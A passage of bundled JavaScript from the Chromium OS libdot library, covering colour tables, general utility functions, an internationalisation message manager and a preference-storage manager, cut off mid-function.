205)", "slategray4": "rgb(108, 123, 139)", "slategrey": "rgb(112, 128, 144)", "snow": "rgb(255, 250, 250)", "snow1": "rgb(255, 250, 250)", "snow2": "rgb(238, 233, 233)", "snow3": "rgb(205, 201, 201)", "snow4": "rgb(139, 137, 137)", "springgreen": "rgb(0, 255, 127)", "springgreen1": "rgb(0, 255, 127)", "springgreen2": "rgb(0, 238, 118)", "springgreen3": "rgb(0, 205, 102)", "springgreen4": "rgb(0, 139, 69)", "steelblue": "rgb(70, 130, 180)", "steelblue1": "rgb(99, 184, 255)", "steelblue2": "rgb(92, 172, 238)", "steelblue3": "rgb(79, 148, 205)", "steelblue4": "rgb(54, 100, 139)", "tan": "rgb(210, 180, 140)", "tan1": "rgb(255, 165, 79)", "tan2": "rgb(238, 154, 73)", "tan3": "rgb(205, 133, 63)", "tan4": "rgb(139, 90, 43)", "thistle": "rgb(216, 191, 216)", "thistle1": "rgb(255, 225, 255)", "thistle2": "rgb(238, 210, 238)", "thistle3": "rgb(205, 181, 205)", "thistle4": "rgb(139, 123, 139)", "tomato": "rgb(255, 99, 71)", "tomato1": "rgb(255, 99, 71)", "tomato2": "rgb(238, 92, 66)", "tomato3": "rgb(205, 79, 57)", "tomato4": "rgb(139, 54, 38)", "turquoise": "rgb(64, 224, 208)", "turquoise1": "rgb(0, 245, 255)", "turquoise2": "rgb(0, 229, 238)", "turquoise3": "rgb(0, 197, 205)", "turquoise4": "rgb(0, 134, 139)", "violet": "rgb(238, 130, 238)", "violetred": "rgb(208, 32, 144)", "violetred1": "rgb(255, 62, 150)", "violetred2": "rgb(238, 58, 140)", "violetred3": "rgb(205, 50, 120)", "violetred4": "rgb(139, 34, 82)", "wheat": "rgb(245, 222, 179)", "wheat1": "rgb(255, 231, 186)", "wheat2": "rgb(238, 216, 174)", "wheat3": "rgb(205, 186, 150)", "wheat4": "rgb(139, 126, 102)", "white": "rgb(255, 255, 255)", "whitesmoke": "rgb(245, 245, 245)", "yellow": "rgb(255, 255, 0)", "yellow1": "rgb(255, 255, 0)", "yellow2": "rgb(238, 238, 0)", "yellow3": "rgb(205, 205, 0)", "yellow4": "rgb(139, 139, 0)", "yellowgreen": "rgb(154, 205, 50)" };// SOURCE FILE: libdot/js/lib_f.js
// Copyright (c) 2012 The Chromium OS Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
'use strict';/**
* Grab bag of utility functions.
*/lib.f = {};/**
* Create a unique enum value.
*
* @suppress {lintChecks}
* @param {string} name A human friendly name for debugging.
* @return {Object} A unique enum that won't compare equal to anything else.
*/lib.f.createEnum = function (name) {// We use a String object as nothing else should be using them -- we want to
// use string primitives normally.  But debuggers will include our name.
// eslint-disable-next-line no-new-wrappers
return new String(name);
};/**
* Replace variable references in a string.
*
* Variables are of the form %FUNCTION(VARNAME).  FUNCTION is an optional
* escape function to apply to the value.
*
* For example
*   lib.f.replaceVars("%(greeting), %encodeURIComponent(name)",
*                     { greeting: "Hello",
*                       name: "Google+" });
*
* Will result in "Hello, Google%2B".
*/lib.f.replaceVars = function (str, vars) { return str.replace(/%([a-z]*)\(([^\)]+)\)/gi, function (match, fn, varname) { if (typeof vars[varname] == 'undefined') throw 'Unknown variable: ' + varname; var rv = vars[varname]; if (fn in lib.f.replaceVars.functions) { rv = lib.f.replaceVars.functions[fn](rv); } else if (fn) { throw 'Unknown escape function: ' + fn; } return rv; }); };/**
* Functions that can be used with replaceVars.
*
* Clients can add to this list to extend lib.f.replaceVars().
*/lib.f.replaceVars.functions = { encodeURI: encodeURI, encodeURIComponent: encodeURIComponent, escapeHTML: function escapeHTML(str) { var map = { '<': '&lt;', '>': '&gt;', '&': '&amp;', '"': '&quot;', "'": '&#39;' }; return str.replace(/[<>&\"\']/g, function (m) { return map[m]; }); } };/**
* Get the list of accepted UI languages.
*
* @param {function(Array)} callback Function to invoke with the results.  The
*     parameter is a list of locale names.
*/lib.f.getAcceptLanguages = function (callback) { if (lib.f.getAcceptLanguages.chromeSupported()) { chrome.i18n.getAcceptLanguages(callback); } else { setTimeout(function () { callback([navigator.language.replace(/-/g, '_')]); }, 0); } }; lib.f.getAcceptLanguages.chromeSupported = function () { return window.chrome && chrome.i18n; };/**
* Parse a query string into a hash.
*
* This takes a url query string in the form 'name1=value&name2=value' and
* converts it into an object of the form { name1: 'value', name2: 'value' }.
* If a given name appears multiple times in the query string, only the
* last value will appear in the result.  If the name ends with [], it is
* turned into an array.
*
* Names and values are passed through decodeURIComponent before being added
* to the result object.
*
* @param {string} queryString The string to parse.  If it starts with a
*     leading '?', the '?' will be ignored.
*/lib.f.parseQuery = function (queryString) {
if (queryString.startsWith('?')) queryString = queryString.substr(1); var rv = {}; var pairs = queryString.split('&'); for (var i = 0; i < pairs.length; i++) {
var pair = pairs[i].split('='); var key = decodeURIComponent(pair[0]); var val = decodeURIComponent(pair[1]); if (key.endsWith('[]')) {// It's an array.
key = key.slice(0, -2);// The key doesn't exist, or wasn't an array before.
if (!(rv[key] instanceof Array)) rv[key] = []; rv[key].push(val);
} else {// It's a plain string.
rv[key] = val;
}
} return rv;
}; lib.f.getURL = function (path) { if (lib.f.getURL.chromeSupported()) return chrome.runtime.getURL(path); return path; }; lib.f.getURL.chromeSupported = function () { return window.chrome && chrome.runtime && chrome.runtime.getURL; };/**
* Clamp a given integer to a specified range.
*
* @param {integer} v The value to be clamped.
* @param {integer} min The minimum acceptable value.
* @param {integer} max The maximum acceptable value.
*/lib.f.clamp = function (v, min, max) { if (v < min) return min; if (v > max) return max; return v; };/**
* Left pad a number to a given length with leading zeros.
*
* @param {string|integer} number The number to pad.
* @param {integer} length The desired length.
* @return {string} The padded number as a string.
*/lib.f.zpad = function (number, length) { return String(number).padStart(length, '0'); };/**
* Return a string containing a given number of space characters.
*
* This method maintains a static cache of the largest amount of whitespace
* ever requested.  It shouldn't be used to generate an insanely huge amount of
* whitespace.
*
* @param {integer} length The desired amount of whitespace.
* @param {string} A string of spaces of the requested length.
*/lib.f.getWhitespace = function (length) { if (length <= 0) return ''; var f = this.getWhitespace; if (!f.whitespace) f.whitespace = '          '; while (length > f.whitespace.length) { f.whitespace += f.whitespace; } return f.whitespace.substr(0, length); };/**
* Ensure that a function is called within a certain time limit.
*
* Simple usage looks like this...
*
*  lib.registerInit(lib.f.alarm(onInit));
*
* This will log a warning to the console if onInit() is not invoked within
* 5 seconds.
*
* If you're performing some operation that may take longer than 5 seconds you
* can pass a duration in milliseconds as the optional second parameter.
*
* If you pass a string identifier instead of a callback function, you'll get a
* wrapper generator rather than a single wrapper.  Each call to the
* generator will return a wrapped version of the callback wired to
* a shared timeout.  This is for cases where you want to ensure that at least
* one of a set of callbacks is invoked before a timeout expires.
*
*   var alarm = lib.f.alarm('fetch object');
*   lib.foo.fetchObject(alarm(onSuccess), alarm(onFailure));
*
* @param {function(*)} callback The function to wrap in an alarm.
* @param {int} opt_ms Optional number of milliseconds to wait before raising
*     an alarm.  Default is 5000 (5 seconds).
* @return {function} If callback is a function then the return value will be
*     the wrapped callback.  If callback is a string then the return value will
*     be a function that generates new wrapped callbacks.
*/lib.f.alarm = function (callback, opt_ms) {
var ms = opt_ms || 5 * 1000; var stack = lib.f.getStack(1); return function () {// This outer function is called immediately.  It's here to capture a new
// scope for the timeout variable.
// The 'timeout' variable is shared by this timeout function, and the
// callback wrapper.
var timeout = setTimeout(function () { var name = typeof callback == 'string' ? name : callback.name; name = name ? ': ' + name : ''; console.warn('lib.f.alarm: timeout expired: ' + ms / 1000 + 's' + name); console.log(stack); timeout = null; }, ms); var wrapperGenerator = function wrapperGenerator(callback) { return function () { if (timeout) { clearTimeout(timeout); timeout = null; } return callback.apply(null, arguments); }; }; if (typeof callback == 'string') return wrapperGenerator; return wrapperGenerator(callback);
}();
};/**
* Return the current call stack after skipping a given number of frames.
*
* This method is intended to be used for debugging only.  It returns an
* Object instead of an Array, because the console stringifies arrays by
* default and that's not what we want.
*
* A typical call might look like...
*
*    console.log('Something wicked this way came', lib.f.getStack());
*    //                         Notice the comma ^
*
* This would print the message to the js console, followed by an object
* which can be clicked to reveal the stack.
*
* @param {number} opt_ignoreFrames The optional number of stack frames to
*     ignore.  The actual 'getStack' call is always ignored.
*/lib.f.getStack = function (opt_ignoreFrames) { var ignoreFrames = opt_ignoreFrames ? opt_ignoreFrames + 2 : 2; var stackArray; try { throw new Error(); } catch (ex) { stackArray = ex.stack.split('\n'); } var stackObject = {}; for (var i = ignoreFrames; i < stackArray.length; i++) { stackObject[i - ignoreFrames] = stackArray[i].replace(/^\s*at\s+/, ''); } return stackObject; };/**
* Divides the two numbers and floors the results, unless the remainder is less
* than an incredibly small value, in which case it returns the ceiling.
* This is useful when the number are truncated approximations of longer
* values, and so doing division with these numbers yields a result incredibly
* close to a whole number.
*
* @param {number} numerator
* @param {number} denominator
* @return {number}
*/lib.f.smartFloorDivide = function (numerator, denominator) { var val = numerator / denominator; var ceiling = Math.ceil(val); if (ceiling - val < .0001) { return ceiling; } else { return Math.floor(val); } };/**
* Get a random integer in a range (inclusive).
*
* @param {number} min The lowest integer in the range.
* @param {number} max The highest integer in the range.
* @return {number} A random number between min & max.
*/lib.f.randomInt = function (min, max) { return Math.floor(Math.random() * (max - min + 1)) + min; };/**
* Get the current OS.
*
* @return {Promise<string>} A promise that resolves to a constant in
*     runtime.PlatformOs.
*/lib.f.getOs = function () {// Try the brower extensions API.
if (window.browser && browser.runtime && browser.runtime.getPlatformInfo) return browser.runtime.getPlatformInfo().then(function (info) { return info.os; });// Use the native Chrome API if available.
if (window.chrome && chrome.runtime && chrome.runtime.getPlatformInfo) { return new Promise(function (resolve, reject) { return chrome.runtime.getPlatformInfo(function (info) { return resolve(info.os); }); }); }// Fallback logic.  Capture the major OS's.  The rest should support the
// browser API above.
if (window.navigator && navigator.userAgent) {
var ua = navigator.userAgent;
if (!ua.includes) {
ua.includes = (function (pattern) { return this.indexOf(pattern) != -1; }).bind(ua);
}
if (ua.indexOf('Mac OS X') != -1) return Promise.resolve('mac');
else if (ua.indexOf('CrOS') != -1) return Promise.resolve('cros');
else if (ua.indexOf('Linux') != -1) return Promise.resolve('linux');
else if (ua.indexOf('Android') != -1) return Promise.resolve('android');
else if (ua.indexOf('Windows') != -1) return Promise.resolve('windows');
}
// Still here?  No idea.
return Promise.reject(null);
};/**
* Get the current Chrome milestone version.
*
* @return {number} The milestone number if we're running on Chrome, else NaN.
*/lib.f.getChromeMilestone = function () {
if (window.navigator && navigator.userAgent) { var ary = navigator.userAgent.match(/\sChrome\/(\d+)/); if (ary) return parseInt(ary[1]); }// Returning NaN will make all number comparisons fail.
return NaN;
};/**
* Return the lastError string in the browser.
*
* This object might live in different locations, and it isn't always defined
* (if there hasn't been a "last error").  Wrap all that ugliness here.
*
* @param {string=} defaultMsg The default message if no error is found.
* @return {string} The last error message from the browser.
*/lib.f.lastError = function () { var defaultMsg = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : null; var lastError = void 0; if (window.browser && browser.runtime) lastError = browser.runtime.lastError; else if (window.chrome && chrome.runtime) lastError = chrome.runtime.lastError; if (lastError && lastError.message) return lastError.message; else return defaultMsg; };// SOURCE FILE: libdot/js/lib_message_manager.js
// Copyright (c) 2012 The Chromium OS Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
'use strict';/**
* MessageManager class handles internationalized strings.
*
* Note: chrome.i18n isn't sufficient because...
*     1. There's a bug in chrome that makes it unavailable in iframes:
*        https://crbug.com/130200
*     2. The client code may not be packaged in a Chrome extension.
*     3. The client code may be part of a library packaged in a third-party
*        Chrome extension.
*
* @param {Array} languages List of languages to load, in the order they
*     should be loaded.  Newer messages replace older ones.  'en' is
*     automatically added as the first language if it is not already present.
*/lib.MessageManager = function (languages) { this.languages_ = languages.map(function (el) { return el.replace(/-/g, '_'); }); if (this.languages_.indexOf('en') == -1) this.languages_.unshift('en'); this.messages = {}; };/**
* Add message definitions to the message manager.
*
* This takes an object of the same format of a Chrome messages.json file.  See
* <https://developer.chrome.com/extensions/i18n-messages>.
*/lib.MessageManager.prototype.addMessages = function (defs) {
for (var key in defs) {
var def = defs[key]; if (!def.placeholders) { this.messages[key] = def.message; } else {// Replace "$NAME$" placeholders with "$1", etc.
this.messages[key] = def.message.replace(/\$([a-z][^\s\$]+)\$/ig, function (m, name) { return defs[key].placeholders[name.toLowerCase()].content; });
}
}
};/**
* Load the first available language message bundle.
*
* @param {string} pattern A url pattern containing a "$1" where the locale
*     name should go.
* @param {function(Array,Array)} onComplete Function to be called when loading
*     is complete.  The two arrays are the list of successful and failed
*     locale names.  If the first parameter is length 0, no locales were
*     loaded.
*/lib.MessageManager.prototype.findAndLoadMessages = function (pattern, onComplete) { var languages = this.languages_.concat(); var loaded = []; var failed = []; function onLanguageComplete(state) { if (state) { loaded = languages.shift(); } else { failed = languages.shift(); } if (languages.length) { tryNextLanguage(); } else { onComplete(loaded, failed); } } var tryNextLanguage = function () { this.loadMessages(this.replaceReferences(pattern, languages), onLanguageComplete.bind(this, true), onLanguageComplete.bind(this, false)); }.bind(this); tryNextLanguage(); };/**
* Load messages from a messages.json file.
*/lib.MessageManager.prototype.loadMessages = function (url, onSuccess, opt_onError) { var _this = this; var xhr = new XMLHttpRequest(); xhr.onload = function () { _this.addMessages(JSON.parse(xhr.responseText)); onSuccess(); }; if (opt_onError) xhr.onerror = function () { return opt_onError(xhr); }; xhr.open('GET', url); xhr.send(); };/**
* Replace $1...$n references with the elements of the args array.
*
* @param {string} msg String containing the message and argument references.
* @param {Array} args Array containing the argument values.
*/lib.MessageManager.replaceReferences = function (msg, args) { return msg.replace(/\$(\d+)/g, function (m, index) { return args[index - 1]; }); };/**
* Per-instance copy of replaceReferences.
*/lib.MessageManager.prototype.replaceReferences = lib.MessageManager.replaceReferences;/**
* Get a message by name, optionally replacing arguments too.
*
* @param {string} msgname String containing the name of the message to get.
* @param {Array} opt_args Optional array containing the argument values.
* @param {string} opt_default Optional value to return if the msgname is not
*     found.  Returns the message name by default.
*/lib.MessageManager.prototype.get = function (msgname, opt_args, opt_default) {
var message; if (msgname in this.messages) { message = this.messages[msgname]; } else {
if (window.chrome && window.chrome.i18n) message = chrome.i18n.getMessage(msgname); if (!message) {
console.warn('Unknown message: ' + msgname); message = opt_default === undefined ? msgname : opt_default;// Register the message with the default to avoid multiple warnings.
this.messages[msgname] = message;
}
} if (!opt_args) return message; if (!(opt_args instanceof Array)) opt_args = [opt_args]; return this.replaceReferences(message, opt_args);
};/**
* Process all of the "i18n" html attributes found in a given dom fragment.
*
* The real work happens in processI18nAttribute.
*/lib.MessageManager.prototype.processI18nAttributes = function (dom) { var nodes = dom.querySelectorAll('[i18n]'); for (var i = 0; i < nodes.length; i++) { this.processI18nAttribute(nodes[i]); } };/**
* Process the "i18n" attribute in the specified node.
*
* The i18n attribute should contain a JSON object.  The keys are taken to
* be attribute names, and the values are message names.
*
* If the JSON object has a "_" (underscore) key, its value is used as the
* textContent of the element.
*
* Message names can refer to other attributes on the same element with by
* prefixing with a dollar sign.  For example...
*
*   <button id='send-button'
*           i18n='{"aria-label": "$id", "_": "SEND_BUTTON_LABEL"}'
*           ></button>
*
* The aria-label message name will be computed as "SEND_BUTTON_ARIA_LABEL".
* Notice that the "id" attribute was appended to the target attribute, and
* the result converted to UPPER_AND_UNDER style.
*/lib.MessageManager.prototype.processI18nAttribute = function (node) {// Convert the "lower-and-dashes" attribute names into
// "UPPER_AND_UNDER" style.
var thunk = function thunk(str) { return str.replace(/-/g, '_').toUpperCase(); }; var i18n = node.getAttribute('i18n'); if (!i18n) return; try { i18n = JSON.parse(i18n); } catch (ex) { console.error('Can\'t parse ' + node.tagName + '#' + node.id + ': ' + i18n); throw ex; }// Load all the messages specified in the i18n attributes.
for (var key in i18n) {// The node attribute we'll be setting.
var attr = key; var msgname = i18n[key];// For "=foo", re-use the referenced message name.
if (msgname.startsWith('=')) { key = msgname.substr(1); msgname = i18n[key]; }// For "$foo", calculate the message name.
if (msgname.startsWith('$')) msgname = thunk(node.getAttribute(msgname.substr(1)) + '_' + key);// Finally load the message.
var msg = this.get(msgname); if (attr == '_') node.textContent = msg; else node.setAttribute(attr, msg);
}
};// SOURCE FILE: libdot/js/lib_preference_manager.js
// Copyright (c) 2012 The Chromium OS Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
'use strict';/**
* Constructor for lib.PreferenceManager objects.
*
* These objects deal with persisting changes to stable storage and notifying
* consumers when preferences change.
*
* It is intended that the backing store could be something other than HTML5
* storage, but there aren't any use cases at the moment.  In the future there
* may be a chrome api to store sync-able name/value pairs, and we'd want
* that.
*
* @param {lib.Storage.*} storage The storage object to use as a backing
*     store.
* @param {string} opt_prefix The optional prefix to be used for all preference
*     names.  The '/' character should be used to separate levels of hierarchy,
*     if you're going to have that kind of thing.  If provided, the prefix
*     should start with a '/'.  If not provided, it defaults to '/'.
*/lib.PreferenceManager = function (storage, opt_prefix) {
this.storage = storage;
this.storageObserver_ = this.onStorageChange_.bind(this);
this.isActive_ = false;
this.activate();
this.trace = false;
var prefix = opt_prefix || '/';
if (!prefix.endsWith('/'))
prefix += '/';
this.prefix = prefix;
this.prefRecords_ = {};
this.globalObservers_ = [];
this.childFactories_ = {};
// Map of list-name to {map of child pref managers}
// As in...
//
//  this.childLists_ = {
//    'profile-ids': {
//      'one': PreferenceManager,
//      'two': PreferenceManager,
//      ...
//    },
//
//    'frob-ids': {
//      ...
//    }
//  }
this.childLists_ = {};
};/**
* Used internally to indicate that the current value of the preference should
* be taken from the default value defined with the preference.
*
* Equality tests against this value MUST use '===' or '!==' to be accurate.
*/lib.PreferenceManager.prototype.DEFAULT_VALUE = lib.f.createEnum('DEFAULT');/**
* An individual preference.
*
* These objects are managed by the PreferenceManager, you shouldn't need to
* handle them directly.
*/lib.PreferenceManager.Record = function (name, defaultValue) { this.name = name; this.defaultValue = defaultValue; this.currentValue = this.DEFAULT_VALUE; this.observers = []; };/**
* A local copy of the DEFAULT_VALUE constant to make it less verbose.
*/lib.PreferenceManager.Record.prototype.DEFAULT_VALUE = lib.PreferenceManager.prototype.DEFAULT_VALUE;/**
* Register a callback to be invoked when this preference changes.
*
* @param {function(value, string, lib.PreferenceManager} observer The function
*     to invoke.  It will receive the new value, the name of the preference,
*     and a reference to the PreferenceManager as parameters.
*/lib.PreferenceManager.Record.prototype.addObserver = function (observer) { this.observers.push(observer); };/**
* Unregister an observer callback.
*
* @param {function} observer A previously registered callback.
*/lib.PreferenceManager.Record.prototype.removeObserver = function (observer) { var i = this.observers.indexOf(observer); if (i >= 0) this.observers.splice(i, 1); };/**
* Fetch the value of this preference.
*/lib.PreferenceManager.Record.prototype.get = function () {
if (this.currentValue === this.DEFAULT_VALUE) {
if (/^(string|number)$/.test(_typeof(this.defaultValue))) return this.defaultValue; if (_typeof(this.defaultValue) == 'object') {// We want to return a COPY of the default value so that users can
// modify the array or object without changing the default value.
return JSON.parse(JSON.stringify(this.defaultValue));
} return this.defaultValue;
} return this.currentValue;
};/**
* Stop this preference manager from tracking storage changes.
*
* Call this if you're going to swap out one preference manager for another so
* that you don't get notified about irrelevant changes.
*/lib.PreferenceManager.prototype.deactivate = function () { if (!this.isActive_) throw new Error('Not activated'); this.isActive_ = false; this.storage.removeObserver(this.storageObserver_); };/**
* Start tracking storage changes.
*
* If you previously deactivated this preference manager, you can reactivate it
* with this method.  You don't need to call this at initialization time, as
* it's automatically called as part of the constructor.
*/lib.PreferenceManager.prototype.activate = function () { if (this.isActive_) throw new Error('Already activated'); this.isActive_ = true; this.storage.addObserver(this.storageObserver_); };/**
* Read the backing storage for these preferences.
*
* You should do this once at initialization time to prime the local cache
* of preference values.  The preference manager will monitor the backing
* storage for changes, so you should not need to call this more than once.
*
* This function recursively reads storage for all child preference managers as
* well.
*
* This function is asynchronous, if you need to read preference values, you
* *must* wait for the callback.
*
* @param {function()} opt_callback Optional function to invoke when the read
*     has completed.
*/lib.PreferenceManager.prototype.readStorage = function (opt_callback) { var _this2 = this; var pendingChildren = 0; function onChildComplete() { if (--pendingChildren == 0 && opt_callback) opt_callback(); } var keys = Object.keys(this.prefRecords_).map(function (el) { return _this2.prefix + el; }); if (this.trace) console.log('Preferences read: ' + this.prefix); this.storage.getItems(keys, function (items) { var prefixLength = this.prefix.length; for (var key in items) { var value = items[key]; var name = key.substr(prefixLength); var needSync = name in this.childLists_ && JSON.stringify(value) != JSON.stringify(this.prefRecords_[name].currentValue); this.prefRecords_[name].currentValue = value; if (needSync) { pendingChildren++; this.syncChildList(name, onChildComplete); } } if (pendingChildren == 0 && opt_callback) setTimeout(opt_callback); }.bind(this)); };/**
* Define a preference.
*
* This registers a name, default value, and onChange handler for a preference.
*
* @param {string} name The name of the preference.  This will be prefixed by
*     the prefix of this PreferenceManager before written to local storage.
* @param {string|number|boolean|Object|Array|null} value The default value of
*     this preference.  Anything that can be represented in JSON is a valid
*     default value.
* @param {function(value, string, lib.PreferenceManager} opt_observer A
*     function to invoke when the preference changes.  It will receive the new
*     value, the name of the preference, and a reference to the
*     PreferenceManager as parameters.
*/lib.PreferenceManager.prototype.definePreference = function (name, value, opt_onChange) { var record = this.prefRecords_[name]; if (record) { this.changeDefault(name, value); } else { record = this.prefRecords_[name] = new lib.PreferenceManager.Record(name, value); } if (opt_onChange) record.addObserver(opt_onChange); };/**
* Define multiple preferences with a single function call.
*
* @param {Array} defaults An array of 3-element arrays.  Each three element
*     array should contain the [key, value, onChange] parameters for a
*     preference.
*/lib.PreferenceManager.prototype.definePreferences = function (defaults) { for (var i = 0; i < defaults.length; i++) { this.definePreference(defaults[i][0], defaults[i][1], defaults[i][2]); } };/**
* Define an ordered list of child preferences.
*
* Child preferences are different from just storing an array of JSON objects
* in that each child is an instance of a preference manager.  This means you
* can observe changes to individual child preferences, and get some validation
* that you're not reading or writing to an undefined child preference value.
*
* @param {string} listName A name for the list of children.  This must be
*     unique in this preference manager.  The listName will become a
*     preference on this PreferenceManager used to store the ordered list of
*     child ids.  It is also used in get/add/remove operations to identify the
*     list of children to operate on.
* @param {function} childFactory A function that will be used to generate
*     instances of these children.  The factory function will receive the
*     parent lib.PreferenceManager object and a unique id for the new child
*     preferences.
*/lib.PreferenceManager.prototype.defineChildren = function (listName, childFactory) {// Define a preference to hold the ordered list of child ids.
this.definePreference(listName, [], this.onChildListChange_.bind(this, listName)); this.childFactories_[listName] = childFactory; this.childLists_[listName] = {};
};/**
* Register to observe preference changes.
*
* @param {Function} global A callback that will happen for every preference.
*     Pass null if you don't need one.
* @param {Object} map A map of preference specific callbacks.  Pass null if
*     you don't need any.
*/lib.PreferenceManager.prototype.addObservers = function (global, map) { if (global && typeof global != 'function') throw new Error('Invalid param: globals'); if (global) this.globalObservers_.push(global); if (!map) return; for (var name in map) { if (!(name in this.prefRecords_)) throw new Error('Unknown preference: ' + name); this.prefRecords_[name].addObserver(map[name]); } };/**
* Dispatch the change observers for all known preferences.
*
* It may be useful to call this after readStorage completes, in order to
* get application state in sync with user preferences.
*
* This can be used if you've changed a preference manager out from under
* a live object, for example when switching to a different prefix.
*/lib.PreferenceManager.prototype.notifyAll = function () { for (var name in this.prefRecords_) { this.notifyChange_(name); } };/**
* Notify the change observers for a given preference.
*
* @param {string} name The name of the preference that changed.
*/lib.PreferenceManager.prototype.notifyChange_ = function (name) { var record = this.prefRecords_[name]; if (!record) throw new Error('Unknown preference: ' + name); var currentValue = record.get(); for (var i = 0; i < this.globalObservers_.length; i++) { this.globalObservers_[i](name, currentValue); } for (var i = 0; i < record.observers.length; i++) { record.observers[i](currentValue, name, this); } };/**
* Create a new child PreferenceManager for the given child list.
*
* The optional hint parameter is an opaque prefix added to the auto-generated
* unique id for this child.  Your child factory can parse out the prefix
* and use it.
*
* @param {string} listName The child list to create the new instance from.
* @param {string} opt_hint Optional hint to include in the child id.
* @param {string} opt_id Optional id to override the generated id.
*/lib.PreferenceManager.prototype.createChild = function (listName, opt_hint, opt_id) {
var ids = this.get(listName); var id; if (opt_id) { id = opt_id; if (ids.indexOf(id) != -1) throw new Error('Duplicate child: ' + listName + ': ' + id); } else {// Pick a random, unique 4-digit hex identifier for the new profile.
while (!id || ids.indexOf(id) != -1) { id = lib.f.randomInt(1, 0xffff).toString(16); id = lib.f.zpad(id, 4); if (opt_hint) id = opt_hint + ':' + id; }
} var childManager = this.childFactories_[listName](this, id); childManager.trace = this.trace; childManager.resetAll(); this.childLists_[listName][id] = childManager; ids.push(id); this.set(listName, ids); return childManager;
};/**
* Remove a child preferences instance.
*
* Removes a child preference manager and clears any preferences stored in it.
*
* @param {string} listName The name of the child list containing the child to
*     remove.
* @param {string} id The child ID.
*/lib.PreferenceManager.prototype.removeChild = function (listName, id) { var prefs = this.getChild(listName, id); prefs.resetAll(); var ids = this.get(listName); var i = ids.indexOf(id); if (i != -1) { ids.splice(i, 1); this.set(listName, ids); } delete this.childLists_[listName][id]; };/**
* Return a child PreferenceManager instance for a given id.
*
* If the child list or child id is not known this will return the specified
* default value or throw an exception if no default value is provided.
*
* @param {string} listName The child list to look in.
* @param {string} id The child ID.
* @param {*} opt_default The optional default value to return if the child
*     is not found.
*/lib.PreferenceManager.prototype.getChild = function (listName, id, opt_default) { if (!(listName in this.childLists_)) throw new Error('Unknown child list: ' + listName); var childList = this.childLists_[listName]; if (!(id in childList)) { if (typeof opt_default == 'undefined') throw new Error('Unknown "' + listName + '" child: ' + id); return opt_default; } return childList[id]; };/**
* Calculate the difference between two lists of child ids.
*
* Given two arrays of child ids, this function will return an object
* with "added", "removed", and "common" properties.  Each property is
* a map of child-id to `true`.  For example, given...
*
*    a = ['child-x', 'child-y']
*    b = ['child-y']
*
*    diffChildLists(a, b) =>
*      { added: { 'child-x': true }, removed: {}, common: { 'child-y': true } }
*
* The added/removed properties assume that `a` is the current list.
*
* @param {Array[string]} a The most recent list of child ids.
* @param {Array[string]} b An older list of child ids.
* @return {Object} An object with added/removed/common properties.
*/lib.PreferenceManager.diffChildLists = function (a, b) { var rv = { added: {}, removed: {}, common: {} }; for (var i = 0; i < a.length; i++) { if (b.indexOf(a[i]) != -1) { rv.common[a[i]] = true; } else { rv.added[a[i]] = true; } } for (var i = 0; i < b.length; i++) { if (b[i] in rv.added || b[i] in rv.common) continue; rv.removed[b[i]] = true; } return rv; };/**
* Synchronize a list of child PreferenceManagers instances with the current
* list stored in prefs.
*
* This will instantiate any missing managers and read current preference values
* from storage.  Any active managers that no longer appear in preferences will
* be deleted.
*
* @param {string} listName The child list to synchronize.
* @param {function()} opt_callback Optional function to invoke when the sync
*     is complete.
*/lib.PreferenceManager.prototype.syncChildList = function (listName, opt_callback) {
var pendingChildren = 0; function onChildStorage() { if (--pendingChildren == 0 && opt_callback) opt_callback(); }// The list of child ids that we *should* have a manager for.
var currentIds = this.get(listName);// The known managers at the start of the sync.  Any manager still in this
// list at the end should be discarded.
var oldIds = Object.keys(this.childLists_[listName]); var rv = lib.PreferenceManager.diffChildLists(currentIds, oldIds); for (var i = 0; i < currentIds.length; i++) { var id = currentIds[i]; var managerIndex = oldIds.indexOf(id); if (managerIndex >= 0) oldIds.splice(managerIndex, 1); if (!this.childLists_[listName][id]) { var childManager = this.childFactories_[listName](this, id); if (!childManager) { console.warn('Unable to restore child: ' + listName + ': ' + id); continue; } childManager.trace = this.trace; this.childLists_[listName][id] = childManager; pendingChildren++; childManager.readStorage(onChildStorage); } } for (var i = 0; i < oldIds.length; i++) { delete this.childLists_[listName][oldIds[i]]; } if (!pendingChildren && opt_callback) setTimeout(opt_callback);
};/**
* Reset a preference to its default state.
*
* This will dispatch the onChange handler if the preference value actually
* changes.
*
* @param {string} name The preference to reset.
*/lib.PreferenceManager.prototype.reset = function (name) { var record = this.prefRecords_[name]; if (!record) throw new Error('Unknown preference: ' + name); this.storage.removeItem(this.prefix + name); if (record.currentValue !== this.DEFAULT_VALUE) { record.currentValue = this.DEFAULT_VALUE; this.notifyChange_(name); } };/**
* Reset all preferences back to their default state.
*/lib.PreferenceManager.prototype.resetAll = function () { var changed = []; for (var listName in this.childLists_) { var childList = this.childLists_[listName]; for (var id in childList) { childList[id].resetAll(); } } for (var name in this.prefRecords_) { if (this.prefRecords_[name].currentValue !== this.DEFAULT_VALUE) { this.prefRecords_[name].currentValue = this.DEFAULT_VALUE; changed.push(name); } } var keys = Object.keys(this.prefRecords_).map(function (el) { return this.prefix + el; }.bind(this)); this.storage.removeItems(keys); changed.forEach(this.notifyChange_.bind(this)); };/**
* Return true if two values should be considered not-equal.
*
* If both values are the same scalar type and compare equal this function
* returns false (no difference), otherwise return true.
*
* This is used in places where we want to check if a preference has changed.
* Rather than take the time to compare complex values we just consider them
* to always be different.
*
* @param {*} a A value to compare.
* @param {*} b A value to compare.
*/lib.PreferenceManager.prototype.diff = function (a, b) {// If the types are different, or the type is not a simple primitive one.
if ((typeof a === 'undefined' ? 'undefined' : _typeof(a)) !== (typeof b === 'undefined' ? 'undefined' : _typeof(b)) || !/^(undefined|boolean|number|string)$/.test(typeof a === 'undefined' ? 'undefined' : _typeof(a))) { return true; } return a !== b;
};/**
* Change the default value of a preference.
*
* This is useful when subclassing preference managers.
*
* The function does not alter the current value of the preference, unless
* it has the old default value.  When that happens, the change observers
* will be notified.
*
* @param {string} name The name of the parameter to change.
* @param {*} newValue The new default value for the preference.
*/lib.PreferenceManager.prototype.changeDefault = function (name, newValue) {
var record = this.prefRecords_[name]; if (!record) throw new Error('Unknown preference: ' + name); if (!this.diff(record.defaultValue, newValue)) {// Default value hasn't changed.
return;
} if (record.currentValue !== this.DEFAULT_VALUE) {// This pref has a specific value, just change the default and we're done.
